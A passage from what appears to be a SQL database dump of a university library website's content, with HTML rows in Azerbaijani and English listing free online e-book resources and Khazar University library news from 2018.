Online</a></strong></p><p><strong><a href=\"http://publicliterature.org/2007/08/11/online_books/\" target=\"_blank\"></a></strong>Check out free full text and audio classic works from Public Literature.org. News and information is posted for readers and aspiring writers. The site features works by Jane Austen, Leo Tolstoy, Charles Dickens, Herman Melville, Leonardo da Vinci and many more.</p><p><br></p><p><strong><a href=\"http://www.poetryarchive.org/poetryarchive/home.do\">Poetry archive</a></strong></p><p>A freely available, searchable online collection of recordings of poets reading their work.&nbsp; with a video introduction to the archive.</p><p>&nbsp;</p><p><strong><a href=\"http://www.gutenberg.org/wiki/Main_Page\">Project Gutenberg</a></strong></p><p><strong><a href=\"http://www.gutenberg.org/wiki/Main_Page\"></a></strong>A collection of over 13,000 freely-available eBooks. Searchable, with list of \"top\" authors and titles.</p><p>&nbsp;</p><p><strong><a href=\"http://www.readprint.com/\">Read Print</a></strong></p><p>Freely available collection of classic fiction, poetry, essays and non-fiction. Includes all Shakespeare plays, and biographies of authors.</p><p>&nbsp;</p><p><strong><a href=\"http://rpo.library.utoronto.ca/display/\" target=\"_blank\">Representative Poetry On-line</a></strong></p><p>Large free online library of poems.</p><p><strong>&nbsp;</strong></p><p><strong><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BWkCFHOXATfTvJZDf_AathqWBAoyBkboBnKOhjBrAjbcB4MUIEAQYBCDjh4ANKAQ4AFCOpfSm-P____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqAMB6APgBOgDFvUDAAAARA&amp;num=4&amp;sig=AGiWqtyD9nu3VgYqhBNORsREWe7Ml0ywWQ&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.danieljaypaul.com\" target=\"_blank\">Romance Novel Excerpt</a>&nbsp;</strong><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BWkCFHOXATfTvJZDf_AathqWBAoyBkboBnKOhjBrAjbcB4MUIEAQYBCDjh4ANKAQ4AFCOpfSm-P____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqAMB6APgBOgDFvUDAAAARA&amp;num=4&amp;sig=AGiWqtyD9nu3VgYqhBNORsREWe7Ml0ywWQ&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.danieljaypaul.com\" target=\"_blank\">www.danieljaypaul.com</a></p><p>\"The Last Sunset\", an enduring love&nbsp;story by novelist Daniel Jay Paul.</p><p><br></p><p><strong><a href=\"http://my.safaribooksonline.com/book/electrical-engineering/semiconductor-technology/9780137046393/interfacing-with-the-analog-world/ch14lev1sec3\">Safari Books online</a></strong></p><p>Digital library with more than 10,000 books, videos for technology, creative and business professionals.</p><p><br><strong><a href=\"http://www.nature.com/scitable\">Scitable</a></strong></p><p>A free educational research resource on genetics and evolution for teachers and students from Nature Publishing. Contains over 150 evidence-based articles. With \"topic rooms\", group discussion capabilities, \"ask and expert\" and creatable classroom space.</p><p><br></p><p><strong><a href=\"http://www-tech.mit.edu/Shakespeare/works.html\" target=\"_blank\">Shakespeare</a></strong></p><p>The Complete Works of William Shakespeare, online for free.</p><p><br></p><p><strong><a href=\"http://nsdl.org/\" target=\"_blank\">The National Science Digital Library</a></strong></p><p>An online science library with links to high quality science, technology, engineering, and math resources for K-12 teachers, faculty, librarians, students and informal learners.</p><p><br></p><p><strong><a href=\"http://publishing.cdlib.org/ucpressebooks/search?facet=subject;rights=Public;style=eschol;brand=eschol\">UC Press E-Books Collection, 1982-2004 (formerly eScholarship editions)</a></strong></p><p>More than 500 free electronic editions of academic books published by the&nbsp;University of&nbsp;California Press, mainly in the humanities, religion, history, literature, arts and social sciences.</p><p><br></p><p><strong><a href=\"http://search.lib.virginia.edu/catalog?f%5bsource_facet%5d%5b%5d=Digital+Library\">VIRGO (previously the Electronic Text Center)</a></strong></p><p>Thousands of publicly available texts and images including history, literature, philosophy, religion, and history of science. Includes rare books, manuscripts, book illustrations and photographs from theUniversity ofVirgina Library.</p><p><br></p><p><strong><a href=\"http://econ.worldbank.org/WBSITE/EXTERNAL/EXTDEC/0,,menuPK:476823~pagePK:64165236~piPK:64165141~theSitePK:469372,00.html\">World Bank : data and research</a></strong></p><p>National and international statistics, and searchable full text of policy research reports, world development reports and indicators and other documents.</p><p><br></p><p><strong><a href=\"http://www.wdl.org/en/\">World Digital Library</a></strong></p><p><strong><a href=\"http://www.wdl.org/en/\"></a></strong>Freely available primary materials from countries and cultures around the world, comprising images, sound recordings, journals and movies.</p><p><br></p><p><strong><a href=\"http://www.worldwideschool.org/\" target=\"_blank\">World Wide School Library</a></strong></p><p>Over 2,000 free online eBooks on a variety of subjects.</p>'),(4957,2886,'az','Yeni Nəşrlər','Yeni Nəşrlər',''),(4958,2886,'en','New Publications','New Publications',''),(4959,2894,'az','Gələcək Tədbirlər','Gələcək Tədbirlər',''),(4960,2894,'en','Upcoming Events','Upcoming Events',''),(4961,2895,'az','Xəbərlər','Xəbərlər','<h3> </h3><h3>KİM Humanitar və Sosial Elmlər fakültəsinin I kurs tələbələri üçün təlim keçirdi</h3><p style=\"text-align:justify\">2018-ci il oktyabrın 18-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli və Kataloqlaşdırma bölməsinin müdiri Samirə Orucova Humanitar və Sosial Elmlər fakültəsinin I kurs tələbələri üçün “Kitabxana-İnformasiya Mərkəzindən istifadə qaydaları” adlı təlim keçirdi.  <br></p><p style=\"text-align:justify\">Təlimdə tələbələrə “Kitabxanadan istifadə qaydalar”,” Oxucu hesabının açılması”, “Elektron kataloq”, “Elektron arxiv”, “ Elektron məlumat bazaları” haqqında ətraflı məlumat verildi.  <br></p><p><img src=\"/files/library/o_1cq5im83r1prptsc1qtml3jdbtk.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83r12mk1vn47oplv3k5qq.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83rbmr1llqeb745ogn6r.JPG\" style=\"border:0px #000000;width:140px;height:98px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83rn3318a9hli1qm28el.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>EBSCO Xəzər Universitetində təqdimat etdi  <br></h3><p style=\"text-align:justify\">2018-ci il oktyabrın 17-si saat 15:00-da EBSCO İnformasiya xidmətinin nümayəndəsi cənab Douglas Heintz Xəzər Universitetində “EBSCO Discovery Service: axtarış, məzmun və XXI əsr kitabxanalarında proqram təminatı” adlı təqdimat keçirdi.  <br></p><p style=\"text-align:justify\">Təqdimatda Xəzər Universitetinin əməkdaşları, doktorantlar iştirak edirdilər. Hazırda EBSCO şirkəti tərəfindən Xəzər Universitetinin əməkdaşlarına faydalı resurslardan istifadə üçün 1 aylıq sınaq müddəti verilmişdir.  <br></p><p><img src=\"/files/library/o_1cqv4atpcar81994mb1obt145fh.jpg\" style=\"width:155px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpd1tltg2p11kv3n1mpmm.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpd17p1jlm2mp17lgvt4i.JPG\" style=\"width:140px;height:101px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpdf421m233hjovo1hhqj.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>KİM Təhsil fakültəsinin I kurs tələbələrinə təlimi&nbsp;</h3><p style=\"text-align:justify\">2018-ci il oktyabrın 16-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli və Samirə Orucova Təhsil fakültəsinin I kurs tələbələri üçün “Kitabxana-İnformasiya Mərkəzindən istifadə qaydaları” adlı təlim keçirdi.  <br></p><p style=\"text-align:justify\">Təlimdə tələbələrə “Kitabxanadan istifadə qaydaları”, “Oxucu hesabının açılması”, “Elektron kataloq”, “Elektron arxiv”, “Elektron məlumat bazaları” haqqında ətraflı məlumat verildi.&nbsp;</p><p><img src=\"/files/library/1LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/2LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/4.1LIC.jpg\" style=\"border:0px #000000;width:170px;height:100px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/4.2LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>Rəqəmsal Elektron Arxiv (DSpace) yeni versiyadan istifadə edir   <br></h3><p style=\"text-align:justify\">Xəzər Universitetinin Kitabxana İnformasiya Mərkəzi <a href=\"http://dspace.khazar.org/\">Rəqəmsal Eektron Arxiv ( DSpace)</a> 1,8-dən yeni versiya 6,2 versiyasına keçid etdi.   <br></p><p style=\"text-align:justify\">Elektron Arxiv Xəzər Universitetinin müəllimləri, işçiləri və tələbələrinin elmi tədqiqatlarının qorunub saxlanılmasını təmin edən Kitabxana İnformasiya xidmətidir. Açıq girişə kitablar, konfrans materialları, şəkillər, məqalələr, hesabatlar, tezislər, dissertasiyalar və s. daxildir.   <br></p><p style=\"text-align:justify\">Elektron Arxiv təkcə müasir və inkişaf edən məlumat, informasiya və kommunikasiya qaynağı deyil, həm də universitetin əhəmiyyətli rəqəmsal xidmətlərindən biridir.&nbsp;</p><p style=\"text-align:justify\">&nbsp;Kitabxana İnformasiya Mərkəzi yeni nəşrlərinizi gözləyir.  <br></p><p><a href=\"http://dspace.khazar.org/\"><img src=\"/files/library/o_1cq0i2qqcqj91660cgqj5vjhaa.jpg\" style=\"width:150px;height:102px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"></a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>“SpringerNature” nəşriyyat evinin nümayəndələri KİM-də oldular&nbsp;</h3><p style=\"text-align:justify\">2018-ci il sentyabrın 20-də “SpringerNature” nəşriyyat evinin nümayəndələri Merve Okur Karagülle və Selin Şencanlı Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzində oldular. Nəşriyyat və Kitabxana-İnformasiya Mərkəzi arasında faydalı resursların əlçatan olması barəsində danışıqlar aparıldı.   <br></p><p style=\"text-align:justify\">Növbəti aylarda tədqiqatçılar üçün “Məqalələrin necə yazılması” haqqında təqdimatın təşkil edilməsi planlaşdırıldı.   <br></p><p><img src=\"/files/library/o_1cnts49uf2ou1s7c12iv1ij0andg.JPG\" style=\"border:0px  #000000;width:250px;height:164px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cnts49uf1ctt8sd8sqra8v22h.JPG\" style=\"width:250px;height:165px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cnts49uflkv81u1oee1b60okcm.JPG\" style=\"width:250px;height:142px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>Fulbrayt təqaüdçüləri KİM-də&nbsp;</h3><p style=\"text-align:justify\">2018-ci il sentyabrın 12-də&nbsp;Amerikanın Şərqi Kentukki Universitetinin Fulbrayt təqaüdçüləri Qaisar Sultana və Ron Smith Xəzər Universitetinin Kitabxana İnformasiya Mərkəzini ziyarət etdilər. Qonaqlar kitabxana fondu, yeni kitablar, Xəzər Universitetinin nəşrləri ilə tanış oldular.  <br></p><p style=\"text-align:justify\">Sonra ktabxana əməkdaşları ilə birgə təhsil və kitabxana mövzuları və problemləri ilə bağlı müzakirə etdilər.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/library/Fulbright1.jpg\" style=\"border:0px  #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/Fulbright2.jpg\" style=\"border:0px  #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/Fulbright3.jpg\" style=\"border:0px  #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><h3>KİM Polpred.com resurslarından istifadə üçün ödənişsiz sınaq müddəti əldə etmişdir</h3><p style=\"text-align:justify\">Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi 2018-ci il sentyabrın 5-dən 2019-cu il oktyabrın 15-dək Polpred.com resurslarından istifadə üçün ödənişsiz sınaq müddəti əldə etmişdir.   <br></p><p style=\"text-align:justify\">Polpred.com Rusiyanın əhəmiyyətli biznes nəşrlərinin ən böyük arxividir. Sayta&nbsp;hər gün minlərlə məlumat&nbsp; yerləşdirilir.&nbsp;</p><p style=\"text-align:justify\">İstifadə üçün <a href=\"https://www.polpred.com/\">www.polpred.com</a> saytına daxil ola bilərsiniz.&nbsp;</p><p style=\"text-align:justify\"><a href=\"https://proxy.lirn.net/\"></a><a href=\"https://www.polpred.com/\"><img src=\"/files/library/polpred11.jpg\" style=\"width:250px;height:149px;margin-left:7px;margin-top:7px;float:left\"></a><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p><br></p><h3>Agape Universitetinin Kitabxana və İnformasiya Resurslar Şəbəkəsinə xoş gəlmisiniz</h3><p>LIRNPortal-a giriş<br></p><p>Dünyaca tanınmış nəşriyyatların bir çox mövzularda elmi elektron kitabların axtarışı.</p><p>Kitabxana və İnformasiya Resurslar Şəbəkəsi abunəliyinə giriş üçün&nbsp;<a href=\"https://proxy.lirn.net/AgapeUniv\">https://proxy.lirn.net/AgapeUniv</a>   linkinə keçid edə bilərsiniz  <br></p><p>Əgər hər hansı sualınız yaranarsa, kitabxana əməkdaşlarına müraciət edə bilərsiniz.  <br></p><p><br></p><p><br></p><h3>ELAN&nbsp;</h3><p style=\"text-align:justify\">Xəzər Universitetinin Kitabxana İnformasiya Mərkəzi kitabxana işçilərinə yardım etmək üçün vaxtı və həvəsi olan könüllülər axtarır. Əgər Siz özünüzü gərgin iş rejimində sadiq, çalışqan və etibarlı bilirsinizsə bizimlə çalışa bilərsiniz.  <br></p><p style=\"text-align:justify\">Könüllülərdən tələb olunur:  <br></p><p style=\"text-align:justify\">1. 3 və yaxud 4-cü kurs tələbəsi olmaları&nbsp;:<br></p><p style=\"text-align:justify\">2. İngilis dili və kompyuter bacarıqlarının yaxşı olması  <br></p><p style=\"text-align:justify\">Xəzər Universitetinin Kitabxana İnformasiya Mərkəzində Sizi gözləyirik.  <br></p><p style=\"text-align:justify\">BİZƏ QOŞULUN. BİRLİKDƏ KİTABXANA GƏLƏCƏYİ QURAQ!  <br></p><p><br></p><h3><a href=\"http://www.khazar.org/az/news/article/3233\">“Müasir oxucular niyə daha çox psixoloji və motivasiyaedici kitablara üstünlük verirlər?” adlı müzakirə oldu</a></h3><p style=\"text-align:justify\">2018-ci il mayın 18-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzi “Gəlin, birlikdə mütaliə edək” layihəsi çərçivəsində “Müasir oxucular niyə daha çox psixoloji və motivasiyaedici kitablara üstünlük verirlər?” adlı müzakirə keçirdi.</p><p style=\"text-align:justify\">Tədbiri giriş sözü ilə Kitabxana-İnformasiya Mərkəzinin əməkdaşı Esmira Hüseynova açdı. Xəzər Universitetinin məzunu psixoloq Leyla Qasımova müzakirədə iştirak etdi. Tələbələr mövzunun müzakirəsinə çox fəal yanaşdılar və maraqlı fikirlər bildirdilər.</p><p style=\"text-align:justify\">Belə tədbirlərin mütəmadi keçirilməsini arzu etdilər.</p><p style=\"text-align:justify\">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><h3>KİM Humanitar və sosial elmlər fakültəsinin tələbələri üçün təlim keçirdi</h3><p style=\"text-align:justify\">2018-ci il aprelin 24-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli və Samirə Orucova Humanitar və sosial elmlər fakültəsinin tərcüməçilik ixtisasının tələbələri üçün “Elektron resurslardan necə faydalanmalı” adlı təlim keçirdilər. Təlimdə tələbələrə informasiya mənbələrinə asan giriş, axtarış üsulları və kitabxanada olan yeni xidmətlər haqqında məlumat verildi.  <br></p><p style=\"text-align:justify\"><br></p><h3 style=\"box-sizing:border-box;font-family:\'Source Sans Pro\', sans-serif;line-height:1.1;color:#9b0050;margin-top:20px;margin-bottom:10px;font-size:24px;background-color:#ffffff\"> </h3><h3 style=\"box-sizing:border-box;font-family:\'Source Sans Pro\', sans-serif;line-height:1.1;color:#9b0050;margin-top:20px;margin-bottom:10px;font-size:24px;background-color:#ffffff\"> </h3><h3>KİM-in əməkdaşı ANKOSLink-2018 konfransında iştirak etdi</h3> <p style=\"text-align:justify\">2018-cil il aprelin 17-dən 20-dək Xəzər Unversiteti Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli Antalyada keçirilən ANKOSLink-2018 konfransında iştirak etdi. ANKOS-Universitet kitabxanalarının e-resurslara rahat girişini təmin edən Kitabxana-İnformasiya Konsorsiumudur.&nbsp;</p><p style=\"text-align:justify\">Konfransda 20 ölkədən 500-dən artıq nümayəndə iştirak etdirdi. ANKOSLink-in bu ilki mövzu başlığı “Araşdırmaya açılan qapı” – kitabxanalar idi. Bu konfransın məqsədi universitetlərin bir-birləri ilə hər keçən gün daha böyük rəqabətə girdikləri zamanda, araşdırmaçılar üçün kitabxanaçıların üstələyə bildiyi rolların müzakirəsi idi. Konfrans boyunca müxtəlif ölkələrin kitabxana nümayəndələri fikir mübadiləsi etdilər. Bütün konfrans boyu kitabxana sahəsində hazırda aktual olan mövzulara toxunuldu. Konfransda akademik kitabxanaların dəyişən rolları mövzusunda müzakirələr keçirildi. XXI əsrdə kitabxanaların öhdəlikləri, qarşıda duran problemləri müzakirə olundu.&nbsp;</p><p style=\"text-align:justify\">Sonda Azərbaycan kitabxanaları ilə daha sıx əməkdaşlığın qurulması məqsədilə toplantı keçirildi.&nbsp;</p>  <p style=\"text-align:justify\"><br></p><h3> </h3><h3>“Gəlin birlikdə mütaliə edək”adlı tədbir baş tutdu</h3><p style=\"text-align:justify\">2018-ci il martın 16-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Gəlin birlikdə mütaliə edək”adlı tədbir keçirildi. Tədbiri Kitabxana-İnformasiya Mərkəzinin əməkdaşı Esmira Hüseynova giriş sözü ilə açaraq, mütaliə mədəniyyətindən danışdı.    <br></p><p style=\"text-align:justify\">Tədbirdə müasir dövrdə oxucuların ən çox müraciət etdiyi janrlardan bəhs edildi. Kitabxana-İnformasiya Mərkəzinin fəal oxucuları tədbirdə maraqla çıxış etdilər. Belə tədbirlərin onların mütaliə vərdişlərinin yüksəldilməsində böyük rolu olduğunu vurğuladılar. Bu tədbirlərin silsilə şəklində davam etdirilməsi planlaşdırıldı.  <br></p><p style=\"text-align:justify\">Sonda fəal oxuculara Kitabxana-İnformasiya Mərkəzi tərəfindən sertifikatlar təqdim edildi.  <br></p><p style=\"text-align:justify\"><br></p><h3>KİM-də “Gəlin birlikdə mütaliə edək” adlı tədbir keçiriləcək</h3> <p style=\"text-align:justify\">2018-ci il martın 16-sı saat 16:00-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Gəlin birlikdə mütaliə edək” layihəsi çərçivəsində tədbir keçiriləcək. Tədbirin keçirilməsinin məqsədi tələbələrin mütaliəyə marağının artırılması və onlara oxu mədəniyyətinin aşılanmasının təbliğidir.&nbsp;</p><p style=\"text-align:justify\"><br></p>'),(4962,2895,'en','News','News','<h3>Free Trial Access to EBSCO Products<br></h3><p style=\"text-align:justify\">KULIC is pleased to inform you that trial access to eBook Business Collection, Computers &amp; Applied Science Source, Business Source Ultimate and Academic Search Ultimate will be provided from today October 22 till &nbsp;November 22 and will be accessible from EBSCOhost website at</p><p style=\"text-align:justify\"><a href=\"https://search.ebscohost.com/\">http://www.ebscohost.com</a></p><p><span style=\"text-decoration:underline\"><strong>Databases description: </strong></span> <br></p><p style=\"text-align:justify\"><em style=\"font-weight:bold\">Computers &amp; Applied Sciences Complete&nbsp;</em>is a full-text database covering computing, technology and engineering disciplines. It is especially useful to researchers studying the business and social implications of new technology.  </p><p>Content Includes:<br></p><p>*  More than 640 active full-text journals and magazines</p><p> * More than 510 active full-text peer-reviewed journals&nbsp;</p><p>* More than 320 active full-text peer-reviewed journals with no embargo</p><p> * More than 410 active full-text journals indexed in Web of Science or Scopus&nbsp;</p><p style=\"text-align:justify\"><em><strong>eBook Business Collection.</strong></em> This collection offers more than 18,000 business e-books selected to assist students and scholars with various business research, special project and entrepreneurial needs. A key resource for academic and business school libraries, eBook Business Collection encompasses a variety of topics, such as marketing, finance, supply chain management and entrepreneurship.   <br></p><p style=\"text-align:justify\">Titles are available from many noteworthy academic and business publishers, including Oxford University Press, Cambridge Scholars Publishing, World Scientific Publishing Company, Princeton University Press, AMACOM and Gallup Press.  <br></p><p>Notable Titles Include:  <br></p><p>Macroeconomics: A Critical Companion&nbsp;</p><p>* Creating a Culture of Integrity: Business Ethics for the 21st Century</p><p>* Lean Management of Global Supply Chain&nbsp;</p><p>* The Essentials of Finance and Accounting for Nonfinancial Managers&nbsp;</p><p style=\"text-align:justify\">* Project and Program Management: A Competency-based Approach All titles are available with unlimited user access, and titles are regularly added to the package at no additional cost.&nbsp;List of titles:  </p><p style=\"text-align:justify\"><a href=\"https://www.ebsco.com/\">https://www.ebscohost.com/assets-ebooks/title- lists/eBook_Business_Collection_WW.xlsx </a>  <br></p><p><br></p><h3>LIC holds a training for the first-year students of the School of Humanities and Social Sciences</h3><p style=\"text-align:justify\">On October 18, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center at Khazar University, held a training “Guidelines for using the services of the Library and Information Center” for the first-year students of the School of Humanities and Social Sciences.  <br></p><p style=\"text-align:justify\">The students were informed about Guidelines for using the Library, Creating Reader Account, Electronic Catalogue, Electronic Archive and Electronic Database.  <br></p><p><img src=\"/files/library/o_1cq5im83r1prptsc1qtml3jdbtk.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83r12mk1vn47oplv3k5qq.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83rbmr1llqeb745ogn6r.JPG\" style=\"width:140px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cq5im83rn3318a9hli1qm28el.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>EBSCO delivers a presentation at Khazar University  <br></h3><p style=\"text-align:justify\">On October 17, 2018, at 15:00, Mr Douglas Heintz, a representative of EBSCO Information service, delivered a presentation “EBSCO Discovery Service: search, content and software at libraries in the XXI century” at Khazar University.  <br></p><p style=\"text-align:justify\">University associates and PhD candidates participated in the presentation. Currently, Khazar University associates are entitled to a one-month trial period for use of resources.  <br></p><p><img src=\"/files/library/o_1cqv4atpcar81994mb1obt145fh.jpg\" style=\"border:0px #000000;width:155px;height:98px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpd1tltg2p11kv3n1mpmm.JPG\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpd17p1jlm2mp17lgvt4i.JPG\" style=\"border:0px  #000000;width:140px;height:100px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cqv4atpdf421m233hjovo1hhqj.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>LIC holds a training for the first-course students of the School of Education&nbsp;</h3><p style=\"text-align:justify\">On October 16, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center at Khazar University, held a training “Guidelines for using the services of the Library and Information Center” for the first-course students of the School of Education.  <br></p><p style=\"text-align:justify\">The students were informed about “Guidelines for using the Library”, “Creating Reader Account”, “Electronic Catalogue”, “Electronic Archive” and “Electronic Database”.  <br></p><p><img src=\"/files/library/1LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/2LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/4.1LIC.jpg\" style=\"border:0px  #000000;width:170px;height:100px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/4.2LIC.jpg\" style=\"width:150px;height:99px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>DSpace uses a new version&nbsp;</h3><p><em>Welcome to the updated Khazar University\'s Institutional Repository! </em> <br></p><p style=\"text-align:justify\">Khazar University Library and information Center (KULIC) is pleased to announce that library has just completed moving born-digital Institutional Repository by DSpace 1.8 to a new latest version by DSpace 6.2. <br></p><p style=\"text-align:justify\">The Digital&nbsp; Open Access <a href=\"http://dspace.khazar.org/\">Khazar University Institutional Repository (KUIR)</a> is a service of the Library and Information Center that preserves and makes available scholarly research by Khazar University\'s faculty, staff, and students. The open access repository includes books, conference papers, images, peer-reviewed scholarly articles, technical reports, theses and dissertations, working papers, and more.  <br></p><p style=\"text-align:justify\">KUIR is not only contemporary or emerging source of knowledge, information and communication but also one of the important digital services in our university.  <br></p><p style=\"text-align:justify\">Consequently, KUIR provides excellent opportunities for Khazar University to expand knowledge beyond internal and external learning environments.  <br></p><p style=\"text-align:justify\">LIC is waiting for your new publications!!!&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p style=\"text-align:justify\"><a href=\"http://dspace.khazar.org/\"><img src=\"/files/library/o_1cq0i2qqcqj91660cgqj5vjhaa.jpg\" style=\"width:150px;height:102px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"></a><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><h3>Representatives of “SpringerNature” publishing house visit LIC&nbsp;</h3><p style=\"text-align:justify\">On September 20, 2018, Merve Okur Karagulle and Selin Shencanli, the representatives of “SpringerNature” publishing house visited Library and Information Center at Khazar University and held discussions on the accessibility of useful resources for both sides.  <br></p><p style=\"text-align:justify\">It is planned to conduct a presentation on the topic “How to produce an article” in the upcoming months.  <br></p><p><img src=\"/files/library/o_1cnts49uf2ou1s7c12iv1ij0andg.JPG\" style=\"width:250px;height:165px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cnts49uf1ctt8sd8sqra8v22h.JPG\" style=\"width:250px;height:165px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/o_1cnts49uflkv81u1oee1b60okcm.JPG\" style=\"width:250px;height:142px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3>Fulbright scholars&nbsp;at the LIC  <br></h3><p style=\"text-align:justify\">On&nbsp;September 12, 2018 two Fulbright scholars from Eastern Kentucky University (USA) Mrs. Pr. Qaisar Sultana and Mr. Ron Smith visited Khazar University Library Information Center. Guests got acquainted with the library collection on education, reference books, new books arrivals, Khazar Press books.  <br></p><p style=\"text-align:justify\">Then, together with the library team, a discussion took place related to education and library topics, issues and problems.  <br></p><p style=\"text-align:justify\"><img src=\"/files/library/Fulbright1.jpg\" style=\"border:0px #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/Fulbright2.jpg\" style=\"border:0px  #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><img src=\"/files/library/Fulbright3.jpg\" style=\"border:0px  #000000;width:250px;height:139px;margin-left:7px;margin-top:7px;margin-right:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p 